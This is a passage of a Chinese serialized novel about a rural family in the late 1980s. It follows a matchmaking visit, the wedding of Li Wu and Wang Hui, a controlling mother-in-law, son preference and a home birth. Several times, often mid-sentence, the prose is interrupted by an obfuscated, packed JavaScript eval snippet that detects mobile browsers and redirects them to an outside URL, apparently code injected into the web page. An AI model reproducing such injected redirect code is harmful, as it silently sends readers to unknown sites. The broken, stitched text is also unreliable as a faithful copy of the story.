“啊,来了来了,老赵啊,我可帮你问了,那闺女比老二正好大三岁,女大三,抱金砖呐!”秦婶得意地看向赵梅,两人挑眉对笑,秦婶儿是李同仁同事的媳妇儿,两家距离不算近,是这两年才有的交情。 “真哒?”赵梅笑着问。 “真的,真的!我跟老王家说好了,就约在她们家,两点见面。”她上前两步问赵梅,“现在就得走了,怎么还让老二干活儿呢?赶紧让他换衣服去啊。” 赵梅一边搓高粱,一边说:“我们这老二啊,眼里有活儿,就是个闲不住的勤快人。” 秦婶儿堆在脸上的笑僵了一下,这是个直爽的农村女人,她一拉衣袖,露出胳膊上的机械表,往赵梅眼跟前送,“你看看几点了?合着你们娘俩都不着急是吧?晚上没有高粱面下锅了?” 赵梅见秦婶儿急眼了,扯开嗓子喊李武,“老二,快点儿换衣服去,咱们现在走。”说着赵梅抱起簸箕转身回屋里。 李武把铁锹戳在墙根儿,低头拍拍身上的灰尘,说:“不用换了,我这挺干净的。” “哪儿干净了?看你那裤腿上的泥点子。”秦婶儿是真替这娘俩着急,“还有,你看看你这小痞子似的头发,当心王家姑娘看不上你。” 李武用五指拢了拢头发,把白衬衣的两个衣角随意地系在一起,一副吊儿郎当的模样站在院子正中,他扬着下巴,说:“这是现在最流行的费翔头,看不上说明这她审美不行,不过话说回来,谁第一次相亲就能结婚呀?” 一句话差点儿把秦婶气吐血,她刚要开口训李武,赵梅从屋子里出来,手里拿着两把崭新的自行车钥匙,状似无意地在秦婶儿面前晃了晃,然后递到李武手里一把。 在那个年代的农村,交通工具分三种,第一种腿儿着,双足丈量黄土地;第二种驴拉木板车;第三种新式自行车,二八大杆儿。 他们三个人一人骑一辆自行车,颠簸在广阔又弯曲的田间土路上。 到达王家时,已经下午三点。 王家早年间是这十里八乡数一数二的地主,后来因为一些事情被搜刮家产,再后来就成了贫下中农。 他们家当家的叫王书珺,现年七十二岁,他小时候上的是私塾,后来成了教书先生,村里几代人年少的时候都受教于他。 王书珺是村里德高望重的老人,他清瘦文雅,谦和有礼,在这发展年代里贫苦艰难,却从不曾苦任何一个孩子的教育,在他的课堂上,很多书卷都是他亲手撰写下来,再一一发给孩子们学习。 他的夫人名叫张瑞清,也曾经是大户人家的小姐,七十多岁的小老太太皮肤仍然白嫩,有皱纹但细腻,说话轻声细语的,要说唯一的不足就是那双三寸金莲令年岁已高的她走不出门前那条巷子。 和李武相亲的正是王书珺和张瑞清的小女儿王惠,惠是贤惠的惠。 王惠有三个哥哥,最小的哥哥都比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那天,他们相看得很成功,明眼人都看得出来李武对王惠一见倾心,而王惠没有表示不乐意就是乐意。 王惠已经二十一岁了,她到现在都没有接触过除父兄以外的任何男人,更没有谈过恋爱,每当人们指指点点说她嫁不出去时,她都会变得特别焦虑。 后来媒人又问王惠的意见,她像是说服自己,也告诉大家:“李武挺好的,找个哥们弟兄多的人挺好的,要是将来家里有事,还能有血脉相通的人互相照应。” 两个年轻人就这样被一群闲杂人等簇拥撮合,缘分也算有了开始。 王家人厚道,没有人过问那天为什么迟到了一个小时。其实那天是赵梅故意的,她一直以乡长夫人自居,虽然早就不是封建礼数的年代,国家一再倡导人人平等,可“人分三六九等”刻在赵梅的基因里。 乡长家的门槛儿,哪儿能随随便便踏足? 说白了,就是快当婆婆的女人想要拿捏未来儿媳妇,她觉得自己作为婆婆,可以拥有支配儿媳妇的权力。 8. 言以泄败 后来李武和王惠多番相约,王惠发现李武很喜欢哼唱流行歌曲,不管是从穿着打扮还是个性喜好都很时髦,王惠慢慢真的喜欢上了李武。 不过因为李武父亲的身份,王家人对于这门亲事低调了许多。 初次见面人非常多是因为要讲究排场,后来街坊四邻前来打听,王家人便统一口径对外宣称“没影儿的事”,他们好像习惯了“偷偷的”,其实那是王书珺的经历与创伤,后来演变成他的智慧,他深知“言以泄败”的道理。 王惠决定嫁给李武,是因为她第一次到李武家做客时,一进里屋就看到一幅‘家和万事兴’的字匾,还有一柜子的书和报纸,王惠浅显地认为这是一个追求家庭和睦与知识学问的家庭,家里的人自然也是知识分子,大抵是值得托付的人家。 那个年代流行“先成家,后立业”,换言之就是两个不到二十岁的年轻人,还没有到社会上历练一番,尚不知社会运行规则和人情冷暖,就先被父母推着进入婚姻,背负家庭。 当年九月份,两家人坐到一起,正式把二人的婚事提上日程。 不料,临近李武和王惠领证时,竟然出了幺蛾子。 李家同村的人因为嫉妒王惠嫁给乡长家的儿子,于是偷偷向李同仁举报王惠私自改过年龄。 那个年代,农村的年轻人结婚,除了相看顺眼,父母同意外,女孩的年龄也是有限制的,范围一般是上不过三,下不过五,不然就会被归类于不匹配的区间。 李同仁得知后,便和中间人,也就是秦婶的丈夫一起到公安局查档案,他们把王惠的档案一字不落地看完,又查看王家父母的,王家三个哥哥的。把王家人查了个底儿掉,终于查出王惠确实改过年龄,不过不是改小,而是改大了一岁。 李同仁这才放下心来,他虽然同意了这门亲事,但还是因为王惠没有比李武大三岁,没有抱上那块虚无缥缈的金砖而遗憾了好久。 经过这件事,被保护得很好的王惠看见了“举报”这件事在父亲脸上刻下的恐惧;同时她也见识到了人性里的恶,或许在某些人眼里你可以过得好,但绝不能比他们好。 —— 自从李武和王惠谈及婚嫁,赵梅就开始话里话外地哭穷: 老大刚结完婚,哪儿还有钱给老二办? 他们哥儿仨,才置办齐了两套房,这穷得叮叮当当响,怎么还盖得起第三套啊? 这一大家子人,那么多张嘴,哪儿还吃得上饭? ...... 王家人一听就明白赵梅什么意思,说白了就是怕女方多要彩礼,王书珺仁义又坦率地表示:“我就那么一个小女儿,要的只是她能安稳幸福地过日子,亲家,你们就是给多少彩礼,我都会给我女儿陪嫁回去,我们娘家再额外给她陪嫁两个大件儿。” 赵梅一听,心里松下一口气,她就好像谈判赢了一般,连连说道:“哎哟,亲家,那哪儿行?结婚四大件儿还是得我们准备。” 那个年代结婚,需要准备的四大件儿有黑白电视、自行车、缝纫机和石英手表,最终是李武家买的黑白电视和自行车,王惠家买的缝纫机和一对石英手表。 结婚前一星期,母亲张瑞清专门把王惠叫到跟前,她拉着王惠的手,殷切地说:“闺女啊,你过门儿后一定要伺候好丈夫,孝敬你公婆,多干家务,节俭一点,遇见什么事儿呀,要学会忍耐,日子不会一帆风顺的,但咱们也得好好儿过。” 王惠懵懂地点头,思考两秒问:“妈,结婚以后我还能读书看报,和哥哥们一起去挣钱吗?” “结婚以后,你要以你的丈夫为主呀,凡事都要和他商量,他允许的话,你自然是可以的。”张瑞清一边说,一边给女儿梳头发、编辫子。 她平日里最宠这个小女儿,可临出嫁的几天,张瑞清什么事情都让王惠做,洗衣服、做饭、收拾家务......她甚至还紧急教王惠缝被子、织毛衣、做棉袄...... 张瑞清生怕王惠嫁过去后被婆家挑剔。 —— 1987年10月1日,李武和王惠在喜气洋洋的氛围里举办婚礼。 二十岁的王惠身穿一套红色喜服,头上簪着红珠花,站在大衣柜镜子前别新娘花,她五官精致,面如桃花,一颦一笑端庄含蓄,一言一行喜不自胜。 那天,她在心里重复母亲对自己的教诲,结婚是女人的第二次投胎,嫁作人妇后要做好人妻,做好人母,做好儿媳,遇事隐忍求和,好好经营家庭。 王惠淳朴善良,温柔贤惠,结婚的喜庆让她以为一切都将朝着幸福与希望进发。 十八岁的李武穿着大一圈儿的西服,笨拙地系上红领带,整个人挺拔帅气,但就是有一种小孩儿偷穿大人衣服的不协调感。 他手里捧着一束假花来接新娘,还没进门就被一群小孩子团团围住,他笑着一边给孩子们发糖,一边给大人们递烟,一副清澈又憨厚的模样。 此时的李武丝毫没有意识到今天过后,他就该扛起家庭的责任。 大喜的日子,外面鞭炮齐鸣,一片欢呼。 王惠今天漂亮极了,张瑞清过来抱了抱她,反复叮嘱:“闺女啊,以后你就是他们家的人了,在那边儿要好好儿的,有点儿眼力见儿......” 最后,张瑞清往王惠手里塞了一把筷子,柔声叮嘱她出门后记得往回抛,王惠这才抬起头看向母亲,两行热泪唰地就滚下来。 王惠哭了,新婚的唢呐声却骤然响起,咸湿喜悦的泪水伴着凤凰飞天,百鸟相送。 王惠被李武抱出门,白皙的脸蛋儿在太阳底下更显娇嫩,可她却伴着唢呐声笑着哭,哭着笑...... 李武抱着她站定在家门口,礼炮声噼里啪啦地炸响。王惠努力向身后扬手,一把筷子哗啦啦散落在地,这叫“扔离家筷”,意味着从这一刻起,王惠不再吃娘家饭,再回娘家便是客。 又是一阵喜庆的唢呐鼓乐和礼炮声交织,全村人都围过来看新郎新娘,纷纷议论着郎才女貌、天造地设。 王惠被抱上自行车后座,李武长腿跨上自行车出发,颠簸的路令王惠羞答答地揪紧李武的衣服。 狭窄的农村土路上,一辆辆绑着红色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“六个,六个。”媒人大声喊道。 瞧热闹的人们一下子就欢呼起来,她们喊着:“喔喔,六个,六个......” 王惠抬眼望去,一片模糊,她竟然看不懂这粗鄙者的狂欢。 媒人又示意王惠给李武夹饺子,李武一口咬掉半个。 “生不......”媒人还没问出这句话,李武就率先抢答:“生!” “生几个?”媒人问。 “生六个。”李武脆声说。 就在这时,赵梅对两个不知道哪里来的小男孩儿说:“去吧,把鞋脱了,在床上打滚儿,多滚一会儿啊。” 人们再次欢呼,像是一锅开水煮沸腾了一般。 王惠和李武被淹没在欢呼声中,仿佛他们的幸福具像化。 当然,后来王惠真的怀过六个孩子。 9. 举办婚礼 人们的狂欢像浪潮,一波过后,媒人搀起王惠的胳膊,扶她来到中间屋子。 中间屋子靠里是厨房,靠外是餐桌,王惠被扶到厨房里,那里有一口老灶,灶台上摆着案板,案板上放着一块圆圆的白面和擀面杖。 媒人高喊:“来!来!来!擀新媳妇儿面喽!打到的媳妇儿揉到的面!” 王惠在众人笑闹中拿起擀面杖擀面,面被揉得很硬,她踮起脚擀半天才把面擀平,又把面叠好,拿起刀切成面条儿。 瞧热闹的人一边笑,一边审视王惠的动作。 如果她把面擀破,或者面条儿切不均匀,就会被当场笑话,几个充当婚闹的人又是在上面撒韭菜叶,又是撒盐巴,不停地给王惠搞破坏,王惠只能带着笑脸耐心地把这些拂掉。 王惠的刀功很好,切得面条又细又长,一份完完整整的面呈现在大家眼前,这代表着她在娘家被教得很好,婆家娶到这种上得厅堂,下得厨房的媳妇儿也很有面子。 一碗面下锅煮熟后,王惠端到老宅的东屋,那是李同仁和赵梅住的房间,一碗香喷喷的面条端到他们面前,王惠恭恭敬敬道:“爸,妈,吃面。” 赵梅接过筷子,挑起一根长面,端着长辈教育小辈的语气,说:“小惠呀,以后我会严格要求你的,你年纪小,且得给你磨性子呢,严是爱,松是害,妈都是为了你好,记住了吗?” 王惠顺从地点点头。 一旁的婚闹们纷纷鼓掌,不知道是哪个大妈说:“老赵越来越有婆婆的款儿了。” 赵梅笑得合不拢嘴,一脸幸福地说道:“媳妇儿来了,我这个婆婆终于可以解放了。” 不知道的还以为是水鬼找替身呢。 自从王惠踏进厨房,擀了新媳妇儿面,李武一家人就再也不进去了,做饭自然而然成了王惠的任务,这仿佛是一个厨房交接仪式。 —— 到了晚上,李武那群凑热闹的哥们弟兄像癞蛤蟆一样赖着不走,他们在婚房里凑热闹,流着哈喇子要新娘给他们点烟倒酒、沏茶倒水。 起初,王惠觉得没什么,大家热闹热闹,开心就好。 直到李武出去上厕所,一个人要求王惠给他点烟时,竟然色胆包天地伸出爪子拍王惠的屁股,王惠瞬间恼火了,刚划着的火柴偏移,红彤彤的火苗蹿向那人的眉毛。 一旁的人们却笑闹道:“武哥媳妇儿,这就是你不对了,摸下新娘腚,三年不生病!让我们摸一下怎么了?” 就在这时,李武掀开门帘进来,得知情况后,立即把所有人赶了出去。 —— 不是所有婚姻都是牢笼,可王惠的婚姻是。 那一天,她的美丽达到顶点。 那一天,她盛装出席,迎来了以爱之名的束缚。 后来,李争争听妈妈讲过去的故事,十三岁的她几乎立刻反问:“妈妈,为什么你嫁进门,奶奶就解放了?你们交接了什么神秘的东西吗?” 从那时起,一脚踢翻封建糟粕的想法在李争争脑海中初见端倪,小小的她仿佛看见了规矩背后血淋淋的教条,她在心里问: 女性难道是一种带有婚姻和生育属性的物品吗? 像母亲一样遵守规矩的人到底是懵懂无知的,还是自主选择的? —— 李武和王惠结婚结在灰色泥砖的老宅子里,墙是土坯墙,窗是小木窗,瓦是青灰瓦,老旧的屋子里整日暗淡,只有正午那一小会儿是光亮的。 老宅子一共三间主屋,东西两间配房。东屋是李同仁和赵梅住,西屋是李武和王惠住,老三李斌住东面配房,老四李超住西面配房,一大家子人就那么紧巴巴地挤在一起。 彼时老大李文已经搬去前院了,那是李同仁和赵梅专门给他准备的婚房,李文媳妇贾英刚生了头胎,是个白净的闺女。 别看李武长得精神,他一点都不懂给自己争取,去年家里又盖了个新院儿,他明明可以把婚结在新房里,可赵梅三言两语就把这条路给堵死了。 王惠结婚前受到的教育是贤妻良母,孝顺公婆,照顾丈夫,生儿育女,帮扶夫家。她是奔着好好过日子嫁过来的,所以努力融入婆家,一心为所有人着想,她好说话、性子软、易妥协,因此看上去人缘极好。 新婚的小夫妻总是浓情蜜意的,因为两个人都长得好看,李武又高又帅气,衣品和审美都紧跟流行趋势,王惠又白又水灵,即便在那个苦寒年代,也看上去温婉动人,两个人的结婚照愣是被照像馆当作广告牌摆了好几年。 那时候妹妹李超超刚出落成青春期的大姑娘,她看着二嫂王惠身量纤纤、肤白莹润,忍不住和她亲近,于是两个人相处得像小姐妹一般。 彼时,小叔子李斌刚刚辍学,正到处游手好闲地瞎溜达,他最爱的就是凑在黑白电视前看《霍元甲》和《陈真》,要不就是出去跟人打牌。 李同仁生气这几个孩子没一个好好学习的,因此由着他们自己摸爬滚打,怎么也不肯给安排工作,按说李同仁身为一乡之长,稍微找找人安排儿子们的工作不在话下,可他在部队呆了那么多年,是个坚守原则的人。 因为李同仁不给李斌安排工作,赵梅没少跟他磨叨。 —— 1988年元旦,一大家子人正坐在一起吃跨年饭,王惠忽感一阵眩晕,紧接着恶心,大家纷纷猜测她怀孕了。 第二天,赵梅陪她骑自行车去很远的村诊所检查,果然,老中医一号脉就知道她有了,一大家子人沉浸在即将添丁进口的喜悦中。 头春节前,李超超就嚷嚷着想去拍照,她反复磨赵梅:“妈,大哥二哥都拍过婚纱照了,就我还没拍过照片呢。” “你再长快点儿,赶紧把自己嫁出去就能拍了。”赵梅冷酷地说。 “妈!”李超超拉长嗓音跟赵梅辩驳,“哪儿有你这样的?家里就我一个女儿,你还不好好疼我。” “疼你?你天天不是吃就是玩儿,要不就是涂睛瞎美,惯得你都没样儿了。” “我不就是想拍个照吗?咱们全家去拍啊,去拍全家福,你都俩儿媳妇了,二嫂肚里还怀着你大孙子,不值得全家拍个照啊?”李超超鬼精鬼精的,磨人功夫更是有一套,她精准地切中要害,扒在赵梅的肩膀,问:“妈,再说了,你跟我爸也没拍过照片,你不想拍啊?” 赵梅动摇了。 三天后,他们全家大大小小到齐,请摄影师专门来家里拍全家福。 这是老李家的第一张全家福。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嫁过来小半年的时间,王惠发现这一大家子人吃饭有个特别有趣的规律。 那个年代物资匮乏,实行的是凭票购买制度,人们买粮、买肉、买油、买豆腐、买菜,除了正常付钱以外,还得出示相应的粮票。 每人每月的猪肉配额是6两,等于这一家九口人一个月能吃5斤4两猪肉;过年、五一、十一等节日才有鱼供应;日常就是吃白菜、土豆、茄子;面粉几乎没有,人们都吃又黑又硬的红薯面,喝棒子茬儿粥。 由于贾英要带孩子,只有王惠做饭盛饭,她发现只要桌面上稍微有一丁点儿荤腥儿,李文、李武、李斌、李超就会在桌面上用筷子打架,谁都想把那点小肉沫儿抢到自己碗里,依次是抢鸡蛋、抢白面饼、抢土豆丝、抢茄子,最后才吃白菜梆子。 每当王惠煮粥煮少了的时候,她都会悄悄盛粥,降低人们对粥的关注;若是煮粥煮多了,那她一定会在盛粥的时候,将勺子用力磕碰到锅底,发出“咔咔咔”的声音,没一会儿这些人就会争着抢着回碗儿。 刚开始发现这个规律时,王惠也弄不懂原因,后来她明白了,这大抵就是最原始的“饥饿营销”。 10. 看红楼梦 自打王惠怀孕后,赵梅就特别殷勤地照顾她,餐桌上永远有一道腌酸黄瓜,刚从树上打下来的杏子也先拿给王惠吃。 后来王惠才知道,这是婆婆在试探她喜欢吃酸还是喜欢吃辣,通过她的饮食喜好,推测到底怀的是男孩还是女孩。 王惠每天早上做好饭,看着李武吃完去工地干活儿,自己则把家收拾得干干净净,然后安心地在家养胎。 一天,王惠上午八点多就收拾完了,到中午做饭还有两个半小时,王惠给自己倒了一杯水放在桌前,又在屋子里转了两圈儿,她心念一动想去找两本书来看。 王惠来到东屋门前,轻轻敲了两下,“妈,在屋里吗?” 没有人应答。 她又敲了几下,“妈?我进来了啊。” 王惠推开东屋的门,公公婆婆都不在家,一排木质老书架就靠在墙根儿。王惠走进来,仰头搜寻喜欢的书,在一众《为了祖国与人民》《论解放区战场》《伟大的祖国》等严肃书籍中,王惠一眼就扫到了右上角的《红楼梦》,她挺着肚子踮起脚尖,小心翼翼地把书取下来翻看。 她靠在窗前静静地看书,书里不似现实那么庸碌贫瘠,那是一个纷繁瑰丽的世界,王惠沉入书中,渐渐忘却了时间。 “都几点了?还没做饭?”赵梅在中间屋子喊道,继而门帘被掀开,“小惠,你干嘛呢?” 王惠被猛然唤醒,她放下书,侧头看表,十一点半,“妈,你回来了。” “啊,中午吃什么?” “吃蛋炒饭吧,简单也快,妈,我今天早上从爸的书架上拿了本书看,等爸回来你帮我告诉他一下,等我看完就给他放回去。”王惠唇角微微上扬,因为看了一上午的书心情愉悦极了。 “看书?什么书?你结了婚的人了还有闲功夫看书?”赵梅不识字,她小时候因为是女孩而没有资格进入学堂,所以在她眼里读书看报不为了考学就是无用,是在浪费时间。 王惠一边说一边往外屋走,她说:“看的是《红楼梦》,咱们的四大名著之一呢。” 赵梅跟在她身后出来,正好瞥见外屋凳子上放着李武的一件脏衣服,她不悦道:“什么四大名著,净整些没用的,有那时间你不给我儿子把衣服洗了。” “一会儿吃完饭的,吃完饭给他洗。”王惠打开煤炉的火门,洗葱切葱、打鸡蛋,手脚麻利地搞定蛋炒饭。 俩人坐在中间屋子的方桌上面对面吃饭,赵梅低头扒了几口,说:“小惠,你说你就是一家庭妇女,没事儿别看那些没用的东西,将来再跟你爸似的,每天就知道读书看报,一点实事儿都不干,油瓶子倒了都不带扶一下的,这家里里外外都是我老婆子张罗;现在我儿子在外面给你挣钱,你就得在家里该干嘛干嘛。” 李同仁早年间在大连当兵,一年到头回不了两趟家,转业后又一天到晚忙着工作,他看书看报,关心时事,见识过外面的世界,最擅长宏大叙事。赵梅则一头扎在农村里,一共给李同仁生了八个孩子,养活了这四个,一个女人灰头土脸、一把屎一把尿的把孩子们拉扯大,她一辈子也没听过李同仁的贴心话儿,说实话......她不容易...... 王惠想到这儿,沉默了一下,点头“嗯”了一声。 点头“嗯”是礼貌,赵梅是她婆婆,也是女人,王惠共情她的辛酸;沉默是无法认同,王惠清晰知道赵梅的观点不对。 后来,当李争争站在月球看地球,回望她们整个家庭,她才恍然意识到她们整个家族,女性大规模接受教育也才一点五代人,母亲勉强算半代人吧,她从小受外公熏陶,上学上到初中毕业。 —— 到了六月份,衣服越穿越薄,肚子越来越大,周围的妇人们开始围坐在一起八卦,纷纷猜测王惠怀的是个儿子,因为她肚子尖尖圆圆的。 赵梅也十分笃定王惠怀的是个儿子,她反复撺掇王惠去诊所检查检查,让大夫给看看是男是女。 王惠却不是很想去,这是她第一个孩子,不管是男是女她都会要的,既然如此何必提早去检查呢?再说那个年代的检查颇为落后,虽然已经有B超仪器,可王惠就是觉得那仪器不安全。 王惠没有正面回答赵梅,而是一边在太阳底下拿着耙子搂小麦,一边说:“妈,我这段时间老是没劲儿,肚子那么大,诊所那么远,我怕骑不到那儿。” 赵梅一边搓麦穗,一边说:“行,那就再养养,等孩子大些了再去,你放心吧,一定是个儿子,你从后面看根本不像怀孕的,不是儿子是什么?” 王惠低头干活儿,并没有多说什么,赵梅颇为骄傲地继续说:“你现在这状态,跟我当年怀他们哥儿仨的时候一模一样,把心放肚子里,咱们就是去看看预产期是什么时候。” “妈,我其实有点儿害怕,我不知道自己能不能成为一个合格的妈妈。”王惠难得和赵梅袒露心思,想和婆婆说说自己的心里话。 赵梅看着她笑了,用极其轻松的语调说:“怕什么?女人生来就会生孩子,等你生了就知道怎么养了,想当年我生他们哥儿几个,全都是我自己在家生的,这不养得也挺好吗?”赵梅没告诉她的是,自己生了八个,才活下来这四个。 “可是只要生下来,就得一直管下去,这个责任我承担得了吗?”王惠很迷茫,她一直在反问自己这个问题。 “有什么承担不了的?到时候妈帮你带孩子,那么一大家子人呢,还养不了一个孩子吗?”赵梅试图给她描绘一个美好的带娃蓝图,殊不知这只是生育哄骗。 “嗯。”王惠点点头,没有再说什么,等她生完才会知道,乳/房只长在她自己的身上。 半个月后赵梅再次提起去检测男女,并说自己找了拉马车的老王头,王惠就这样跟着赵梅坐着马车去诊所检查了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458775|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是那个老中医,不知道为什么中医诊所里竟然有B超仪器,仪器看上去旧旧的,可能是哪家医院淘汰下来的。 结果如赵梅所料,B超显示王惠确实怀的是个儿子,赵梅乐得合不拢嘴,回去的路上不停地夸王惠,“老二媳妇儿,我就说你有能耐,你看真是个儿子吧?” 可是,赵梅说自己最关心的预产期,她却完全没问就诊医生。 到家以后,赵梅各种炫耀,尤其是在李文媳妇贾英的面前,话里话外地说老二媳妇行,给老李家争气,头一胎就怀了个儿子。 贾英不爱听,怀里抱着几个月的闺女往外走,根本不搭赵梅的话茬儿,只留给她一个后脑勺。 —— 由于李武白天要去干活儿,女人生孩子这事儿,他根本帮不上忙,或者说在那个年代里,男人理所应当地认为女人生孩子自己不需要干什么,只要孩子生下来,他们能第一个抱抱就好。 王惠提前和赵梅商量,希望赵梅能趁早约好拉马车的老王头儿,也提前和医生打好招呼,等孩子一有动静,马上去诊所待产,可赵梅却说“去什么诊所?我就是接生婆啊,咱们这前后院儿的孩子们,哪个不是我接生的?” 王惠还真不知道赵梅会接生,她疑问:“大嫂生悦悦的时候顺利吗?” 赵梅轻哼一声,“你大嫂不是在咱们这边儿生的,在她娘家那边的县医院生的。” 王惠不再说什么,赵梅接着说:“放心吧没事儿,你这头胎,好生,我给你接生你还不放心啊?” 晚上李武回来后,王惠侧躺在他胳膊上,轻声细语地和他商量道:“武哥,咱们能不能去诊所接生啊?这头一个孩子,我害怕。” 李武闭着眼睛大剌剌地躺着,说:“行啊,我跟我妈说,让她提前安排。” 李武这句口头答应直到8月中旬都没落实,他倒是和赵梅讲了,只是赵梅一门心思让她在家里生,她觉得自己十几年的接生手艺,不成问题。 1988年8月23日,王惠早上起床给李武做饭,她刚站直身体,猝不及防间感到一阵水流来袭,是孩子羊水破了,她赶紧喊李武:“武哥,快点去叫妈,好像要生了。” 李武蹿起来,慌里慌张地大喊:“妈,妈!快,要生了,要生了......” 就在这时,王惠一把拽住李武的胳膊,她疼得站不住,慌乱地问:“万一生个女儿怎么办?” 李武握住她的手,说:“哎哟,只要孩子全须全尾,健健康康的,不管男孩女孩,我都喜欢,都是我的孩子。” 赵梅一边穿衣服一边掀开东屋的门帘,“喊什么喊,快去烧热水,多烧,超超呢?赶紧让超超去叫你大嫂。” “哦,行,我现在就去。”李武赶紧跑出去。 赵梅掀开西屋的帘,又冲李武喊:“水烧好以后,让你大嫂端进来,女人生孩子血腥气重,你别进来。” 11. 男根崇拜 李武挠挠头,担心不已,他赶紧跑去配房叫超超。 经过五个多小时的痛苦挣扎,赵梅始终在顺王惠的肚子,贾英抓着王惠的手不断安抚。 王惠又喊又叫又哭,汗流了一层又一层,双腿被支在叠起来的被子上,无助又绝望,那种上不来下不去的疼,简直让她想死。 李武在外屋焦急得坐立不安,他担心王惠的安危,也为自己将为人父而激动。 快到12点的时候,终于听到哇哇大哭的声响,孩子顺利出生,而王惠也累得晕了过去,在她昏厥前的最后一刻,听到赵梅的欢呼:“我就说是个儿子,还真是个带把儿的!” 李武在外面听到婴儿的啼哭声,一把撑住门框,缓缓抬起头来,望向里屋,他的眼里含满热泪,同时也充满了心疼与希望,还有一种莫名的自豪。 贾英不断喊王惠的名字,赵梅给孩子清洗身上,最后裹在小薄毯里。 直到下午四点多,王惠才一点一点恢复意识,她手指微动,感觉有人在握着自己,眼睛缝隙渐渐打开,是她的妈妈张瑞清来了,妈妈正默不作声地淌着泪水。 见王惠逐渐苏醒,张瑞清低头擦去泪水,询问王惠感觉怎么样。 王惠见母亲流泪,不由地心头一紧,她气息虚弱地问:“妈,孩子怎么样?” 张瑞清伸手拢去她的碎发,说:“孩子好着呢,你怎么样?疼吧?” 王惠双眼浮肿,嘴唇泛白,头上裹着枕巾,泪水像小溪一样顺着眼角往下淌,她小心翼翼地问:“是儿子吗?” 张瑞清点头,“是。” 王惠激动起来,哭着笑了,又小心地探问:“胳膊腿儿都全吗?” 张瑞清给她拂去泪水,宽慰道:“全,都全乎儿着呢,放心吧孩子。” 外屋丝毫没有生产的痛感,相反她们从上到下、从老到幼都在欢呼,除了贾英。 赵梅把吃饭的桌子腾出来铺小被子,新生儿躺在桌面伸展着脆弱的小胳膊,李武激动得不行,嘴角都快咧到天上去,他逗弄小孩儿,用不同的声调唤道:“我的儿子?是儿子啊,儿子!儿子!儿子!” “行了行了,一边儿去吧。”赵梅把他往旁边挤。 李武眼珠不错地盯着孩子,他就想守在孩子跟前儿。 赵梅拿着尿褯子推他,“去去去。” 李同仁守在孩子头顶上看着,也笑得合不拢嘴,他盯着孩子的小鸡鸡说:“你说还真是个秃小子!哎哟喂,我大孙子哎!” 李武往旁边挪了步子,赵梅拉起小孩儿的两条腿,把尿褯子在屁屁底下铺好,放下腿腿后,赵梅看着孩子的小鸡鸡越看越喜欢,竟然开心得一边摇头一边把脸扎过去,“哎哟,大孙子,奶奶的大孙子哎......” 一大家子人都在这个屋子里,新生儿的小鸡鸡像是被他们供起来的稀世珍宝一般,人们争相参观。 贾英立在墙角,静静地看着这帮欢呼疯魔的人,愚蠢的“男/根崇拜”简直令她作呕,这群重男轻女的人更令她厌恶。 小孩儿许是感应到王惠醒了,他嗷一嗓子哭了出来,赵梅赶紧把他抱到王惠眼前,乐着说:“快看看,这孩子嗓门儿真大,也白,真会随啊,随的都是你们俩的优点。” 王惠硬扯嘴角,怎么都笑不出来,张瑞清从赵梅手里接过孩子,让孩子贴在王惠的胸口趴好。 赵梅出去给王惠端下奶汤,王惠则安静地感受着孩子贴在胸口的感觉,她小声和张瑞清说话:“妈,这个小小的、软软的家伙就是我生的啊,真是不可思议,这竟然是我的孩子。” 张瑞清轻轻拍着孩子,一说话就想哭,泪水根本擦不净,她心疼极了,说:“是啊,我闺女遭罪了。” 没一会儿,赵梅端着下奶汤进来,脸上笑得开了花儿,她夸道:“小惠呀,你可真是我们老李家的大功臣,给,快把这汤喝了,别饿着我大孙子。” 王惠艰难地欠起身子,张瑞清接过下奶汤,这时李武进来,他仔细地洗了手,能闻见手上的肥皂味儿,李武接过汤碗,一小勺一小勺的喂给王惠喝。 赵梅抱起孩子,两个老太太在一旁看着孩子,赵梅说:“亲家母,你说说,这小儿子大孙子,老太太的命根子,以后啊,这孩子啊就是我的命根子喽。” —— 孩子大名叫李国栋,小名叫栋栋,寓意国之栋梁的意思,当然名字是李同仁起的。 栋栋特别能喝奶,因此很壮实,一大家子人都因为栋栋的到来而欢欣。 晚上睡觉,栋栋睡在王惠和墙壁之间,晚上要吃好几次夜奶,因此王惠总是睡眠不足。栋栋每次吃奶都要抱着,王惠的胳膊又酸又疼,简直像要报废了一样,每当拍着小家伙的背哄睡着,她都不敢轻易放下,生怕栋栋醒了哇哇大哭吵到李武睡觉。 王惠不断在心里告诉自己:当妈妈哪是那么容易的事,坚持坚持,再坚持坚持就好了。 当然,除了累,也有很多幸福的,比如王惠发现栋栋的小手手特别可爱,哪怕他睡得很香,只要你把手指伸进他的手心里,他都会像是得到感应一样握紧。 